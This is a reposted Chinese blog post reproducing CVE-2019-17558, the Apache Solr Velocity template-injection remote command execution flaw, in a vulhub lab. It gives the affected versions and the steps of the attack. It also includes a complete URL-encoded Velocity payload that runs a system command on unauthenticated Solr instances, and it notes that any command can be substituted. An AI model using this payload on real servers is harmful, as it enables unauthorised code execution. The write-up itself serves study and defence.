其他分享
首页 > 其他分享> > 【漏洞复现】Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

【漏洞复现】Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

作者:互联网

文章目录

一、漏洞简介

Solr 是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。 其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理。

2019年10月30日,国外安全研究人员放出了一个关于solr 模板注入的exp,攻击者通过未授权访问solr服务器,发送特定的数据包开启 params.resource.loader.enabled,然后get访问接口导致服务器命令执行。

影响范围:

5.0.0 到 8.3.1版本

二、漏洞环境搭建

使用vulhub进行环境搭建:
在这里插入图片描述

三、漏洞复现

服务启动后,访问http://your-ip:8983即可查看到一个无需权限的Apache Solr服务。
在这里插入图片描述
默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

在这里插入图片描述
得到唯一的核心core:demo

访问solr/demo/config进行抓包:进行修改提交我们的数据
在这里插入图片描述

修改成功:
在这里插入图片描述
漏洞利用:

注入Velocity模板(Java的一个模板引擎)即可执行任意命令(在exec函数里面注入想要执行的命令):
这里演示id

http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

在这里插入图片描述

也可以访问/solr/demo/select进行抓包,传递参数:

在这里插入图片描述
之后就可以在exec函数中输入自己的payload进行利用。

标签:23set,27,+%,17558,Solr,漏洞,CVE,solr
来源: https://blog.csdn.net/weixin_45677145/article/details/111759534